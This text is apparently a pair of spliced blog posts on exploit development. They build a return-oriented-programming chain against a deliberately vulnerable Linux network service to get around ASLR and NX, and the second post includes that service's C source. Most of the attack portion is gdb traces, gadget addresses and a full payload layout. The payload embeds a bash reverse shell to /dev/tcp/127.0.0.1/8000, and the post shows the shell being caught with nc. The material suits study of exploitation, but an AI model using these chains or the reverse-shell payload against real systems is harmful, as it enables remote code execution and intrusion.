0x08099c0f in strpbrk ()
6: /x $esp = 0xbfffe7e4
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe804: 0x41414141  0x41414141
=> 0x8099c11 <strpbrk+177>: ret    
0x08099c11 in strpbrk ()
6: /x $esp = 0xbfffe7e4
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0xffffffff
(gdb) stepi
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe808: 0x41414141  0x41414141
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax
0x08083f21 in _dl_get_tls_static_info ()
6: /x $esp = 0xbfffe7e8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) stepi
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe808: 0x41414141  0x41414141
=> 0x8083f23 <_dl_get_tls_static_info+19>:  ret    
0x08083f23 in _dl_get_tls_static_info ()
6: /x $esp = 0xbfffe7e8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0x00000000

So our function seemed to have worked perfectly! :-)

Control Statements

I thought of a few different ways that control statements might be possible but was unable to find any relevant gadgets that was capable of doing it.

Because of this I haven't actually implemented any control statements in the exploit but I will describe a few gadgets that might make it possible.

The main reason I wanted a control statement in the exploit was because quite often I need to move the return value of the function into edx but the gadget to do this requires 4 double words on the stack.

As edx wasn't being used throughout the function I would have liked to find a gadget like this:

1
test edx, edx ; je esi ; ret

If we made sure edx = 0 and esi contained the address of the following gadget:

1
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret

Then we could move the return value of the function into edx within the function, shrinking the size of the payload a little more.

This allows us the run 1 gadget different depending on the value of 1 register (in this case edx).

If we could find the inverse of this contional jump, like this:

1
test edx, edx ; jne edx ; ret

In this case we still have esi spare and we just have to make sure edx is zero if we don't want to take the jump.

Of course the gadget pointed to by esi/edx (or any unused register which a gadget could jump to) could be something similar to the following:

1
xchg [reg], esp ; ret

Now, instead of just running 1 gadget, we are able to change the control flow of the application in a much bigger way.

Of course these examples are just dealing with testing if a value is zero or not but there is no reason why we could check for a number of different values with a gadget like the following:

1
test edx, esi ; je eax ; ret

We could place a number of these to test for a number of specific values or even a range using 2 gadgets similar to the following:

1
2
test edx, esi ; jg eax ; ret
test edx, ebx ; jl eax ; ret

Obviously there are so many different combinations that could lead to different branches being taken depending on certain values, these values don't necessarily need to be values set by the programmer either.

Consider the following:

1
test dword ptr [edx], esi ; je eax ; ret

Or the following sequence:

1
2
mov edx, dword ptr [edx] ; ret
test edx, esi ; je eax ; ret

Now we can test values in memory against specific values and make decisions based on that.

Another option would be with conditional move's, like this:

1
2
test edx, edx ; ret
cmove esp, eax ; ret

The goal here isn't to give you all of the possibilities that might arise, I don't think that would even be possible (there are so many possibiities), but to show that using a bit of creativity and having the right gadgets you can create reasonably complex applications using ROP.

Obviously you are limited by the gadgets that are avaliable to you though.

A Second Function

I decided to add a second function which would take 3 arguments, the same 2 as the first function but with the extra value inside edx, this would be a value to write to the address that is being calculated.

The resulting function was:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

I decided that it would be best if this function could be run almost directly after the first function, so that in cases where we want to write the address of a string into a pointer to that string, the first function could be run to calculate the address of the string and then the second function could be run to write that value into the pointer.

This of course means that it would be best if the return value of the first function was put inside edx, so the first function needs to be edited.

Here is the new first function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0804cedd : mov eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807b086 : xchg eax, esp ; ret

Now we could run the first function as normal, followed by a pop ebx and the relevant value and immediately run the second function, whose address will already be in eax to write the value we've just calculated.

Running The Second Function Directly

Obviously to write the nulls we want to just run the second function with 0 in edx.

To do this all we have to do is make sure eax contains the distance from ecx (the top of the first function) to the top of the second function, which is 108 bytes, before we add eax, ecx.

I will use a technique I've not used before to do this. First we have to run the vulnerable application:

1
[email protected]:~$ ./app-net

Now, in another terminal (as root) we need to find out the pid of the application:

1
2
3
[email protected]:~# ps ax | grep app-net
25675 pts/2    S+     0:00 ./app-net
25681 pts/1    S+     0:00 grep app-net

So our application has the pid 25675, we now need to look at the memory layout of it, this is so we know the memory address range that we need to search:

1
2
3
4
5
6
7
[email protected]:~# cat /proc/25675/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
09f57000-09f79000 rw-p 00000000 00:00 0          [heap]
b771e000-b771f000 r-xp 00000000 00:00 0          [vdso]
bfabd000-bfade000 rw-p 00000000 00:00 0          [stack]

The top 2 memory segments are static, so we can use anything in these sections of memory, we will look for 108 here using gdb:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
[email protected]:~# gdb -q -p 25675
Attaching to process 25675
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
0x0805790c in accept ()
(gdb) find 0x08048000, 0x080ca000, 0x0000006c
0x8056f39 <openlog_internal+217>
0x807a9d8 <fork+120>
0x807a9e5 <fork+133>
0x807aa3d <fork+221>
0x807ab00 <fork+416>
0x807abc3 <getpid+3>
0x8085c47 <raise+7>
0x80ae185 <__PRETTY_FUNCTION__.11707+37>
0x80ae2bf <__PRETTY_FUNCTION__.9288+31>
0x80ae300 <__PRETTY_FUNCTION__.9058+32>
0x80b0090 <_nl_C_LC_CTYPE_tolower+816>
0x80b0110 <_nl_C_LC_CTYPE_tolower+944>
0x80b0c78 <translit_from_idx+216>
0x80b6224 <translit_to_tbl+420>
0x80b6608 <translit_to_tbl+1416>
0x80b6a90 <translit_to_tbl+2576>
0x80b7434 <translit_to_tbl+5044>
0x80b7844 <translit_to_tbl+6084>
0x80b7e20 <translit_to_tbl+7584>
0x80b7e38 <translit_to_tbl+7608>
0x80b7f08 <translit_to_tbl+7816>
0x80b7f18 <translit_to_tbl+7832>
0x80b7f28 <translit_to_tbl+7848>
0x80b7f38 <translit_to_tbl+7864>
0x80b8320 <translit_to_tbl+8864>
0x80b8330 <translit_to_tbl+8880>
0x80b8340 <translit_to_tbl+8896>
0x80b8354 <translit_to_tbl+8916>
0x80b837c <translit_to_tbl+8956>
0x80b8390 <translit_to_tbl+8976>
0x80b843c <translit_to_tbl+9148>
0x80b8464 <translit_to_tbl+9188>
0x80b89c4 <translit_to_tbl+10564>
0x80b8c64 <translit_to_tbl+11236>
0x80b8ec8 <translit_to_tbl+11848>
0x80b9138 <translit_to_tbl+12472>
0x80b9588 <translit_to_tbl+13576>
0x80b97bc <translit_to_tbl+14140>
0x80b99d8 <translit_to_tbl+14680>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) x/xw 0x8056f39
0x8056f39 <openlog_internal+217>:   0x0000006c

So we can get the required value into eax using the following:

1
2
3
4
5
6
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
[0xaaaaaaaa - distance from ecx to address that we want to write zeros]

But we still need 0 in edx, so far we've only used 1 method to do this (xor eax, eax and then moving eax to edx) but we are no longer able to use eax so we are going to have to use a different method, here is 1:

1
2
3
4
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value

Here we are just setting edx to 0xffffffff, which is the maximum value that edx can contain, and then increasing it by 1, which will cause the carry flag to set and edx to contain 0.

Now we just need to call the function as normal:

1
2
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret

So now in 12 double words, or 48 bytes, we have written zeros to a part of memory (the functions are contained in our padding section which is of fixed size anyway).

The Exploit So Far

If we put everything we've worked out so far together, we get to a point where we've written all of the zeros (or null terminators).

Our notes should now look similar to this:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

#################### Function 1 ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0804cedd : mov eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807b086 : xchg eax, esp ; ret

#################### Function 2 ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

################### Padding A's ####################

A * (532 - len(payload))

################### Application ####################

0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x08057b7e : pop ebx ; ret
0xaaaaa8e6 : 0xaaaaaaaa - 452 (distance to 0xffffffff value in the
       : data just before the function
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the distance from edx to 
---------------------------- 0xffffffff at the end of the data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xaaaaaa96 : 0xaaaaaaaa - distance from ecx to long arg 0xffffffff (20)
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the address of 0xffffffff
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
---------------------------- write nulls over 0xffffffff
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
---------------------------- ecx now contains the starting address
---------------------------- of the function
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa96 : distance from ecx to 3rd arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to 3rd arg null terminator
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa66 : distance from ecx to -c arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to -c arg null terminator
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa5e : distance from ecx to 1st arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to 1st arg null terminator

Now we have to write the pointer values, we can do this by first running the first function to figure out the address of the string, then running the second function to write that value to the correct place.

Let me demonstrate how to do this with the pointer to the first string (which currently contains 0xbbbbbbbb).

First we find the address of the string:

1
2
3
4
5
0x08057b7e : pop ebx ; ret
0xaaaaaa52 : distance from ecx to the start of ////bin/bash
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret

Now we should have the address of the ////bin/bash string in edx.

Now we can write it to the correct location:

1
2
3
0x08057b7e : pop ebx ; ret
0xaaaaaa9a : distance from ecx to the ////bin/bash pointer
0x0807b086 : xchg eax, esp ; ret

Done :-)

So in 8 double words, or 32 bytes, we've calculated the address of the string, and address of the pointer and written the address of the string over the pointer.

Finalizing The Exploit

We will actually set this pointer last out of the 3 pointers because we will need to set edx and ecx afterwards.

Remember edx needs to point to nulls and ecx needs to point to the beginning on the pointers (the address we wrote to here, which will be contained in edi after running the second function).

But to set ecx the address needs to contain nulls so after running the previous sequence, we can set both ecx and edx to the correct values using these gadgets:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0x080a3f72 : xchg eax, edi ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret

Now the value we want in ebx is at the address pointed to by ecx so the following will give us the right value inside ebx:

1
2
3
4
5
6
7
0x080838e8 : mov eax, dword ptr [ecx] ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop

Lastly we set eax and initiate the syscall:

1
2
3
4
0x080a8576 : pop eax ; ret
0x81fffff4 : (0x81ffffe9 + 11) 11 = execve syscall number
0x080aa1cc : sub eax, 0x81ffffe9 ; ret
0x08048c0d : int 0x80

Some of you may have noticed the mistake but after building the exploit and running it you will see this fails with a segfault and we get no shell.

Fixing The Exploit

I left this in here because it demonstrates nicely the types of problems you are likely to run into when developing these exploits.

The problem was in the functions, with our previous exploit the gadgets were all run in sequence so it didn't matter if we overwrote previous gadget on the stack as we weren't going to use it again.

In regards to the functions though we are going to run them numberous times so we must ensure that nothing that is vital for the application it overwritten.

The offending gadget (present in both functions) is:

1
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret

The problem here is that the first push eax will actually overwrite the gadget itself on the stack.

Let's visualize this a little, just before the above gadget is run, the top of the stack looks like this:

When the gadget is first run, esp changes value by 4 bytes, like this:

Now the push eax instruction is executed which causes this to happen:

Obviously this is undesirable because when we go to run the function again instead of running the actual gadget it will try to change execution to the value that was put here in the gadgets place.

The only way to deal with this is by removing this gadget and replacing it with something that doesn't edit any important parts of the stack.

One way I am going to solve this is by returning to the main application and moving the value into ebx there, this will however increase the size of the payload.

The second function is easiest to change:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret
0x080a3f72 : xchg eax, edi ; ret
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

On line 7 execution is moved back to the main application, there we must move the value, which will be in the edi register, into ebx.

The first function is a bit more difficult because there are 2 instances of the offending gadget.

The first we can deal with the same as in the second function but the second instance is different.

The goal of the end of this function is to move the return value into edx so that the second function can be run directly after.

What we can do is move the value into edi and then xchg edx and edi using the following 2 gadgets:

1
2
0x080a3f72 : xchg eax, edi ; ret
0x080ab696 : xchg edx, edi ; inc dword ptr [ebx + 0x5e5b04c4] ; pop ebp ; ret

There is 1 problem here, the inc instruction after the xchg.

We need to make sure that this (ebx + 0x5e5b04c4) adds up to a memory address that is writable.

After looking at the application memory map over a few runs of the application:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[email protected]:/home/testuser# cat /proc/32019/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
08ba6000-08bc8000 rw-p 00000000 00:00 0          [heap]
b77bb000-b77bc000 r-xp 00000000 00:00 0          [vdso]
bf7ed000-bf80e000 rw-p 00000000 00:00 0          [stack]
[email protected]:/home/testuser# cat /proc/32024/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
097fd000-0981f000 rw-p 00000000 00:00 0          [heap]
b77cc000-b77cd000 r-xp 00000000 00:00 0          [vdso]
bfba6000-bfbc7000 rw-p 00000000 00:00 0          [stack]

There are 2 sections of wriable memory that appear to be static (080cc000-080cd000 and 080ca000-080cc000).

As you can see though, these address ranges have low memory addresses, much smaller than the value added to ebx (0x5e5b04c4).

I decided I wanted to use the memory address of 0x080cc004, so I done the sum 0x1080cc004 - 0x5e5b04c4 = 0xa9b1bb40.

So if we get the value 0xa9b1bb40 into ebx before we run the gadget in question it should work all of the time.

With all of this in mind our new function 1 looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret
0x080a3f72 : xchg eax, edi ; ret
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x08057b7e : pop ebx ; ret
0xa9b1bb40 : 0x1080cc004 - 0x5e5b04c4
0x080ab696 : xchg edx, edi ; inc dword ptr [ebx + 0x5e5b04c4] ; pop ebp ; ret
0xeeeeeeee
0x0807b086 : xchg eax, esp ; ret

Obviously this is smaller than the original function 1 meaning that the distance between function 1 and 2 will be smaller, in fact it is only 76 (or 0x4c) bytes now instead of 108.

Using the same method as before (attaching to the app using gdb and running find 0x08048000, 0x080ca000, 0x0000004c) I found that this value is found at the address 0x804ba61.

So we have to go about replacing those where ever we have called function 2 directly.

All of this increased the size of the payload from 1008 to 1188 bytes but that's still a lot smaller than the 1536 bytes of the previous exploit.

Exploiting The Application

So now we have all the required information to make a working exploit.

You can see my full notes here.

And the full exploit here.

As normal we run the vulnerable application:

1
[email protected]:~$ ./app-net

Start listening with nc:

1
[email protected]:~$ nc -l -p 8000

Launch the exploit:

1
[email protected]:~$ python app-net-rop-exploit-improved.py

Then if you look at the terminal windows running nc:

1
2
3
4
5
6
7
[email protected]:/home/appuser$ pwd
pwd
/home/appuser
[email protected]:/home/appuser$ whoami
whoami
appuser
[email protected]:/home/appuser$

PWNED!! :-D

Conclusion

I know we didn't save a huge amount of space with this exploit (only 348 bytes), that might be enough to bypass any space restrictions.

Also if we had more/different gadgets, which is certainly possible with a different application, we might have been capable of saving a lot more space.

The main point of this post was the demonstrate some reasonably advanced ROP techniques and suggest possibilities for improving an exploit where ROP is required.

Happy Hacking :-)

Beating ASLR and NX using ROP

11 January 2015 at 20:34
By: 0xe7

So far we've only beat either ASLR or NX seperately, now I will demonstrate how to beat both of these protections at the same time.

To do this I will use ROP (Return-oriented programming). We've seen ROP briefly in the last post but now we will use it alot more extensively.

ROP itself is a very simple idea, in situations where its impossible to run your own code, you use the code already in the application to do what you want it to do.

As we saw in the post about beating ASLR with full ASLR enabled the only section that is static is the text segment which contains the applications own code.

The "Return to Libc" method won't work because dynamically loaded libraries aren't at the same segment of memory as the applications code so we can no longer predict what memory addresses these functions (or pointers to the functions) will be at.

Normal shellcode will not run because NX is enabled.

So we have to find a way to run our own code by using only the code which is always loaded at the same address in memory.

Its worth noting that every ROP exploit will be remarkably different, this is because we can only use the applications own code and every applications code is different, so the important thing to learn in this post is the methodlogy that I will use to build the exploit.

I will assume that you have an indepth knowledge of the IA32 architecture and how the calling convention used by Linux (cdecl) works.

The App

The application we will be attacking is the same application as in the beating ASLR post.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <strings.h>
#include <stdlib.h>
#include <string.h>

#define PASS "topsecretpassword"
#define CNUM 58623
#define SFILE "secret.txt"
#define TFILE "token"
#define PORT 9999

void sendfile(int connfd, struct sockaddr_in cliaddr);
void senderror(int connfd, struct sockaddr_in cliaddr, char p[]);
void sendtoken(int connfd, struct sockaddr_in cliaddr);
int checkpass(char *p);


void main()
{
    int listenfd, connfd, n, c, r;
    struct sockaddr_in servaddr, cliaddr;
    socklen_t clilen;
    pid_t childpid;
    char pwd[4096];

    listenfd=socket(AF_INET,SOCK_STREAM,0);

    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
    servaddr.sin_port=htons(PORT);
    if ((r = bind(listenfd,(struct sockaddr *)&servaddr,sizeof(servaddr))) != 0) {
        printf("Error: Unable to bind to port %d\n", PORT);
        exit(1);
    }

    listen(listenfd,1024);

    for(;;) {
        clilen=sizeof(cliaddr);
        connfd = accept(listenfd,(struct sockaddr *)&cliaddr,&clilen);

        n = recvfrom(connfd, pwd, 4096, 0, (struct sockaddr *)&cliaddr, &clilen);
        pwd[n] = '\0';
        r = checkpass(pwd);
        if (r != 0)
            if (r != 5)
                senderror(connfd, cliaddr, pwd);
            else
                sendtoken(connfd, cliaddr);
        else
            sendfile(connfd, cliaddr);
        printf("Received the following:\n");
        printf("%s", pwd);

        close(connfd);
    }
}

void sendfile(int connfd, struct sockaddr_in cliaddr)
{
    FILE *f;
    int c;
    f = fopen(SFILE, "r");
    if (f) {
        while ((c = getc(f)) != EOF)
            sendto(connfd, &c, 1, 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
        fclose(f);
    } else {
        printf("Error opening file: " SFILE "\n");
        exit(1);
    }
}

void senderror(int connfd, struct sockaddr_in cliaddr, char p[])
{
    sendto(connfd, "Wrong password: ", 16 , 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
    sendto(connfd, p, strlen(p), 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
}

void sendtoken(int connfd, struct sockaddr_in cliaddr)
{
    FILE *f;
    int c;
    f = fopen(TFILE, "r");
    if (f) {
        while ((c = getc(f)) != EOF)
